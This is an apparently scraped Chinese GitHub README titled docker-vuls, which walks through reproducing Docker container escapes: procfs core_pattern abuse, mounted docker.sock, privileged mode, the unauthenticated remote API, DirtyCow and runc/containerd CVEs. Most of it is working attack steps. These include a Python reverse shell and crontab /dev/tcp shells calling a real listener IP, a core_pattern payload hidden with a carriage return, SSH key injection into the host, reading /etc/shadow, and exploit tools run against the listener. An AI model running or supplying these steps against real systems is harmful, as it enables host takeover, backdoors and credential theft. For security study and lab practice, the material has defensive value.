添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接
相关文章推荐
八块腹肌的小刀  ·  Docker:Spring ...·  1 周前    · 
细心的泡面  ·  Hashicorp Vault : “ ...·  1 周前    · 
发财的太阳  ·  GitHub - ...·  1 周前    · 
勤奋的鸭蛋  ·  RUN Instruction Using ...·  6 天前    · 
任性的便当  ·  The Impact of ...·  4 月前    · 
飞奔的生姜  ·  大疆终于发布DJI Pocket ...·  10 月前    · 

Repository files navigation

docker-vuls

详细的记录了一些Docker漏洞的原理、环境搭建、漏洞复现内容

  • 挂载宿主机profcs逃逸
  • 挂载Docker Socket逃逸
  • Privileage特权模式逃逸
  • API未授权
  • CVE-2016-5195 DirtyCow 逃逸
  • Docker 自身漏洞

  • CVE-2019-16884
  • CVE-2019-5736
  • CVE-2020-15257
  • 参考: https://github.com/teamssix/container-escape-check
  • cat /proc/self/status | grep -qi "0000001fffffffff" && echo "Is privileged mode" || echo "Not privileged mode" Is privileged mode. 挂载Socket ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted." Docker Socket is mounted. 挂载procfs find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted." Procfs is mounted. 挂载宿主机根目录 find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted." Root directory is mounted. Docker remote api 未授权访问 IP= hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed." Docker Remote API Is Enabled.

    [配置安全]挂载宿主机 procfs 逃逸

    procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。 Docker默认情况下不会为容器开启 User Namespace 从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。 一般情况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有这种情况发生。

  • 宿主机: 阿里云ECS centos7.6
  • docker容器:ubuntu 18.04
  • 监听机:腾讯云 centos7.6
  • 在宿主机中创建一个容器并挂载/proc目录 这里创建的容器是ubuntu的18.04版本,高版本apt会安装失败

    docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:18.04

    进入容器后如果在容器中找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs

    find / -name core_pattern

    找到当前容器在宿主机下的绝对路径

    cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

    容器安装vim、gcc

    apt-get update -y && apt-get install vim gcc -y

    创建反弹shell脚本

    vim /tmp/.t.py

    shell脚本内容

    #!/usr/bin/python3
    import  os
    import pty
    import socket
    lhost = "43.142.177.224"
    lport = 80
    def main():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((lhost, lport))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        os.putenv("HISTFILE", '/dev/null')
        pty.spawn("/bin/bash")
        # os.remove('/tmp/.t.py')
        s.close()
    if __name__ == "__main__":
        main()

    给 Shell 赋予执行权限

    chmod 777 .t.py

    然后写入执行反弹shell命令(即运行上面的py文件)到共享的/proc目录下的core_pattern文件中:

    host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
    echo -e "|$host_path/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern
    # 是以宿主机权限运行,所以py文件为当前容器文件路径在宿主机上的绝对路径

    /proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是管道符|时,后面的部分会以命令行的方式进行解析并运行。\r之后的内容主要是为了管理员通过cat命令查看内容时隐蔽我们写入恶意命令。

    运行崩溃程序

    在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

    vim /tmp/t.c

    t.c内容

    #include<stdio.h>
    int main(void)  {
       int *a  = NULL;
       *a = 1;
       return 0;
    
    gcc t.c -o t
    

    [配置安全]挂载Docker Socket逃逸

    Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon扮演,二者之间通信方式有以下3种:

  • unix:///var/run/docker.sock(默认
  • tcp://host:port
  • fd://socketfd
  • Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。

  • 攻击者获得了 docker 容器的访问权限
  • 容器已安装/var/run/docker.sock
  • 宿主机: 阿里云ECS centos7.6
  • docker容器:ubuntu 18.04
  • 监听机:腾讯云 centos7.6
  • 创建验证文件

    在宿主机的/home目录下创建验证文件

    touch /home/success.txt

    创建一个容器并挂载 /var/run/docker/sock 文件

    docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04

    安装Docker命令行客户端

    在容器内安装Docker命令行客户端

    docker exec -it with_docker_sock /bin/bash
    apt-get update
    apt-get install curl
    curl -fsSL https://get.docker.com/ | sh

    如果存在这个文件,说明漏洞可能存在

    ls -lah /var/run/docker.sock

    创建新容器

    在容器内部创建一个新的容器,并将宿主机/home目录挂载到新的容器内部

    docker run -it -v /:/home ubuntu /bin/bash
    chroot /home

    成功挂载到宿主机的目录下

    [配置安全]Privileged特权模式 逃逸

    Docker 高危启动参数 -- privileged 特权模式启动容器 当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

    privileged 特权模式启动容器

    使用 --privileged=true 创建一个容器

    docker run --rm --privileged=true -it alpine

    在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

    cat /proc/self/status | grep CapEff

    查看挂载磁盘设备

    fdisk -l
    在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下

    mkdir /test && mount /dev/vda1 /test

    尝试访问宿主机 shadow 文件,可以看到正常访问

    cat /test/etc/shadow
    chroot /test

    [配置安全]API 未授权访问逃逸

    Docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker

    操作系统: Centos7.8 Docker版本: Docker-Ce18.09.9

    配置阿里源

    curl -o /etc/yum.repos.d/Centos-7.repo http://mirrors.aliyun.com/repo/Centos-7.repo
    curl -o /etc/yum.repos.d/docker-ce.repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
    yum clean all && yum makecache && yum update

    安装指定版本docker

    yum install -y docker-ce-18.09.9
    # 安装不了则配置一下yum源
    yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.rep
    配置加速源

    vim /etc/docker/daemon.json
    { "registry-mirrors" : [ "https://8xpk5wnt.mirror.aliyuncs.com" ]}

    设置开机自启

    systemctl enable docker
    systemctl daemon-reload
    启动containerd服务

    #启动containerd服务
    containerd 
    #查看服务状态
    Systemctl status containerd 

    开启2375端口,提供外部访问

    vim /usr/lib/systemd/system/docker.service
    ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375  -H fd:// --containerd=/run/containerd/containerd.sock
    改完之后需要重启

    systemctl daemon-reload
    systemctl restart docker
    docker version
    检查端口开放 外网访问需要打开防火墙规则 本地虚拟机需要关闭防火墙

    # 关闭默认自带防火墙:
    systemctl stop firewalld && systemctl disable firewalld
    # 安装iptables管理工具,并清空规则:
    yum -y install iptables-services && systemctl start iptables && systemctl enable iptables && iptables -F && service iptables save
    # 第三,关闭selinux
    # 下面命令先关闭selinux,然后从selinux的配置文件中设置它为永久关闭。
    setenforce 0 && sed -i 's/^SELINUX=.*/SELINUX=disabled/' /etc/selinux/config

    直接访问目的ip:2375显示{"message":"page not found"} 在路径中接上/version进行验证:会返回docker的版本信息 如果能查看到对应的docker信息,则证明漏洞存在,在攻击机开启docker服务 使用docker –H tcp://靶机ip:2375 ps命令查看靶机已启动的容器,也可以查看目标机器的镜像

    # 查看docker服务
    docker -H tcp://120.27.21.11:2375 ps
    # 查看docker镜像
    docker -H tcp://120.27.21.11:2375 images

    攻击方式一 定时任务反弹shell

    定时任务反弹shell需要运用到crontab服务,crontab服务写shell的需要先了解它的语法格式:

    所以我们可以构造出反弹shell的语句:

    * * * * * /bin/bash –i >& /dev/tcp/ip/port 0>&1  # 任意时间都会反弹shell
    */1 * * * * /bin/bash –i >& /dev/tcp/ip/port 0>&1 # 每隔一分钟就会反弹shell

    启动一个容器并挂载宿主机的mnt目录,返回其sh shell

  • run 运行容器
  • --rm 容器停止时,自动删除该容器
  • -v 挂载目录
  • -I 指示docker在容器上打开一个标准的输入接口
  • -t 指示docker要创建一个伪tty终端
  • # 启动容器之后退出容器就会清理掉该容器
    docker -H tcp://120.27.21.11:2375 run --rm -it -v /:/mnt busybox chroot /mnt sh 

    写入到定时任务当中,因为挂载的是宿主机的mnt目录所以定时任务将由宿主机触发从而完成逃逸

    echo "*/1 * * * * /bin/bash -i >& /dev/tcp/43.142.177.224/80 0>&1" > /var/spool/cron/root 

    攻击机开启nc监听,过一段时间之后就会得到宿主机反弹回来的shell了

    nc -lvk 80

    攻击方式二 写入SSH公钥进行远程连接

    攻击机生成一个key,ssh-keygen –t rsa 指定rsa的加密方式生成之后会在/root/.ssh目录下 进行远程创建docker并添加密钥

    docker -H tcp://120.27.21.11:2375 run --rm -it -v /:/mnt busybox chroot /mnt sh

    将公钥通过API创建的容器利用文件挂载写入宿主机的~/.ssh/authorized_keys文件中

    cd ~/.ssh
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC8Aqv9WNzyNWujw+Z5Oegv5Xmc6g+c3OOZO4sgzWTsyVwawFe+0BdSRhoc0vUCzRw111kQmWBHaeuE2HkT6qsdhKVI3X97YuXeHrOyQwYDxxK7pIAbtOKEK+oFSgD/EOToKkOfzRcjIcmj/I60nPaFY631LSGvLx5DsltvbUIF0h3KCf8LTgbg0NHL0hhJSsubyoFnU+x/I2CASfcAmH2ZYAm5EHlvuFB680xbRhZaN7r1vUPG4SlYySrE4hNOh7UR6azhDbxoz5WNGFc1mWXDlWiMNs17KfWQRmTwDxvCDbTzcerTNGIJZ/3P7ALUDoE8B/fYk2N4j7HmEqY2la9 root@source" > /root/.ssh/authorized_keys
    攻击机利用私钥进行连接

    ssh -i id_rsa2 [email protected]

    成功远程连接

    [内核漏洞]CVE-2016-5195 DirtyCow 逃逸

    Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition,允许恶意用户提权获取其他只读内存映射的写访问权限。 竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。 VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。 在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。 脏牛漏洞几乎涵盖了所有主流的 Linux 发行版,同时也是一个由 Linus 本人亲手修复的漏洞。

    docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机。 Linux各发行版本对于该漏洞的相关信息

  • Centos7 /RHEL7 | 3.10.0-327.36.3.el7 | | --- | --- |
  • Cetnos6/RHEL6 | 2.6.32-642.6.2.el6 |
  • Ubuntu 16.10 | 4.8.0-26.28 |
  • Ubuntu 16.04 | 4.4.0-45.66 |
  • Ubuntu 14.04 | 3.13.0-100.147 |
  • Debian 8 | 3.16.36-1+deb8u2 |
  • 宿主机安装 Ubuntu系统镜像下载:http://mirrors.163.com/ubuntu-releases/14.04/

    uname -a
    uname -r
    cat /etc/issue

    本机脏牛提权

    sudo apt-get update
    sudo apt-get install -y build-essential
    sudo apt-get install -y nasm
    sudo apt-get install -y git
    sudo mkdir /dirtycow-vdso
    sudo git clone https://github.com/scumjr/dirtycow-vdso.git /dirtycow-vdso
    cd dirtycow-vdso
    ./0xdeadbeef 43.142.177.224:80

    docker 逃逸(fail)

    测试环境下载,下载不了可以本机下载再复制过去

    git clone https://github.com/gebl/dirtycow-docker-vdso.git
    git clone https://github.com.cnpmjs.org/gebl/dirtycow-docker-vdso.git
    

    安装docker

    # Ubuntu14.04安装docker教程
    https://juejin.cn/post/6844903993387253768
    # 安装docker-compose
    sudo curl -L "https://github.com/docker/compose/releases/download/1.25.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
    # 下交不了或速度较慢则换一个
    sudo curl -L "https://get.daocloud.io/docker/compose/releases/download/1.27.3/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
    # 修改docker-compose文件夹权限
    chmod +x /usr/local/bin/docker-compose

    运行测试容器

    cd dirtycow-docker-vdso/
    sudo docker-compose run dirtycow /bin/bash
    起docker的时候可能会因为网络环境问题无法git clone这时候可以先把Dockerfile中这三行删除掉,手动下载并移动到docker中 进入容器编译并执行

    cd /dirtycow-vdso/
    ./0xdeadbeef 443.142.177.224:80

    失败了...

    runc是一个根据OCI规范实现的CLI工具,用于生成和运行容器,docker的runtime使用的就是runc。

    在容器镜像中可以声明一个VOLUME,挂载至/proc,欺骗runc使其认为AppArmor已经成功应用,从而绕过AppArmor策略。这个漏洞由AdamIwaniuk(https://twitter.com/adam_iwaniuk/))发现,并在DragonSectorCTF2019(https://ctftime.org/task/9279))期间披露。 这个CTF题目挑战将一个文件挂载到/flag,并使用AppArmor策略拒绝访问该文件。选手可以利用(https://twitter.com/adam_iwaniuk/status/1175741830136291328))这个漏洞来禁用这个策略并读取文件。

    **runc <= 1.0.0-rc8 ** 修复版本:1.0.0-rc9

    由于方便本次环境搭建在docker中ubuntu主机中 (ubuntu将成为宿主机相当于在Docker中起docker) 宿主机启动docker环境

    docker run -ti ssst0n3/docker_archive:CVE-2019-16884
    ubuntu login: root
    Password: root
    root@ubuntu:~# 

    PS:配置docker pull源

    # 编辑/etc/docker/daemon.json文件(没有该文件就创建),中加下面参数(注意json串的格式):
    vim /etc/docker/daemon.json
      "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn", "http://hub-mirror.c.163.com", "https://registry.docker-cn.com"]
    # 重启docker服务
    systemctl restart docker
    登录进ubuntu中

    ubuntu login:root
    Password:root

    创建apparmor规则

    cat > /etc/apparmor.d/no_flag <<EOF
    #include <tunables/global>
    profile no_flag flags=(attach_disconnected,mediate_deleted) {
      #include <abstractions/base>
      file,
      deny /flag r,
    
    /sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag 

    宿主机创建/tmp/flag/1.txt文件

    cd /tmp
    echo success > flag
    启动一个正常镜像,无权限读取/flag内容

    docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag busybox cat /flag
    # output:
    cat: can't open '/flag': Permission denied 
    利用漏洞启用一个恶意镜像,可以读取/flag

    mkdir -p rootfs/proc/self/{attr,fd}
    touch rootfs/proc/self/{status,attr/exec}
    touch rootfs/proc/self/fd/{4,5}
    cat <<EOF > Dockerfile 
    FROM busybox 
    ADD rootfs / 
    VOLUME /proc 
    docker build -t apparmor-bypass . 

    逃逸成功,成功读取宿主机文件

    docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag apparmor-bypass cat /flag
    # output
    success
    docker: Error response from daemon: cannot start a stopped process: unknown.

    [自身漏洞]CVE-2019-5736

    runc 在使用文件系统描述符时存在漏洞,该漏洞可导致特权容器被利用,造成容器逃逸以及访问宿主机文件系统;攻击者也可以使用恶意镜像,或修改运行中的容器内的配置来利用此漏洞。

    攻击方式1:(该途径无需特权容器)运行中的容器被入侵,系统文件被恶意篡改 ==> 宿主机运行docker exec命令,在该容器中创建新进程 ==> 宿主机runc被替换为恶意程序 ==> 宿主机执行docker run/exec 命令时触发执行恶意程序;

    攻击方式2:(该途径无需特权容器)docker run命令启动了被恶意修改的镜像 ==> 宿主机runc被替换为恶意程序 ==> 宿主机运行docker run/exec命令时触发执行恶意程序。

    当runc在容器内执行新的程序时,攻击者可以欺骗它执行恶意程序。通过使用自定义二进制文件替换容器内的目标二进制文件来实现指回 runc 二进制文件。

    如果目标二进制文件是 /bin/bash,可以用指定解释器的可执行脚本替换 #!/proc/self/exe。因此,在容器内执行 /bin/bash,/proc/self/exe 的目标将被执行,将目标指向 runc 二进制文件。

    然后攻击者可以继续写入 /proc/self/exe 目标,尝试覆盖主机上的 runc 二进制文件。这里需要使用 O_PATH flag打开 /proc/self/exe 文件描述符,然后以 O_WRONLY flag 通过/proc/self/fd/重新打开二进制文件,并且用单独的一个进程不停地写入。当写入成功时,runc会退出。

    docker version <=18.09.2 && RunC version <=1.0-rc6 需要在容器内拥有 root (uid 0)

    # 卸载已有版本
    yum remove docker \
                      docker-client \
                      docker-client-latest \
                      docker-common \
                      docker-latest \
                      docker-latest-logrotate \
                      docker-logrotate \
                      docker-engine
    # 为了方便添加软件源,支持 devicemapper 存储类型,安装如下软件包
    yum update
    yum install -y yum-utils device-mapper-persistent-data lvm2
    # 添加 Docker 稳定版本的 yum 软件源
    yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
    # 列出可用版本
    yum list docker-ce --showduplicates | sort -r
    yum update
    # 安装有漏洞版本<=18.09.2,这里选择18.06.0.ce-3.el7版本
    yum install docker-ce-18.06.0.ce-3.el7 -y

    在受害主机启动一个容器

    docker pull nginx
    docker run --name nginx-test -p 8080:80 -d nginx
    docker ps -a

    编译payload

    编译go脚本生成攻击payload

    # 下载POC:
    https://github.com/Frichetten/CVE-2019-5736-PoC
    # 修改Payload中的内容,写入一个反弹Shell的代码,其中打码部分是我服务器的IP
    # 切换到root用户或以root用户身份编译main.go文件
    sudo CGO_ENABLED=0 GOOS=linux GOARCH=amd64  go build main.go

    容器内执行payload

    将该payload通过docker cp拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸) 并执行

    docker cp main 2a7d:/home
    docker exec -it 2a7d /bin/bash
    cd /home/
    chmod 777 main
    ./main

    之后宿主机再次exec启动docker,观察容器中 vps成功收到反弹shell

    这个漏洞打了可能就回不去了......慎用

    [自身漏洞] CVE-2020-15257

    containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

    containerd < 1.4.3
    containerd < 1.3.9

    kali 2021~Centos7.6 更新apt源

    # 添加 Docker 稳定版本的 yum 软件源
    yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
    yum clean all
    yum makecache
    安装有漏洞的containerd版本

    yum install -y docker-ce-18.09.6-3.el7 docker-ce-cli-19.03.6-3.el7 containerd.io-1.2.4-3.1.el7
    docker pull ubuntu:18.04

    通过--net=host 作为启动参数来运行一个容器

    sudo docker run -itd --net=host ubuntu:18.04 /bin/bash
    查看当前运行中的容器,记下id 85022e12e612

    docker ps -a

    下载EXP

    https://github.com/cdk-team/CDK/releases/tag/0.1.6 将下载好的压缩包解压,然后copy进docker容器

    执行EXP

    进入容器bash 在容器内执行exp,攻击机设置监听

    docker exec -it 85022 /bin/bash
    ./cdk_linux_amd64 run shim-pwn 43.142.177.224 80

    成功完成逃逸获得宿主机的shell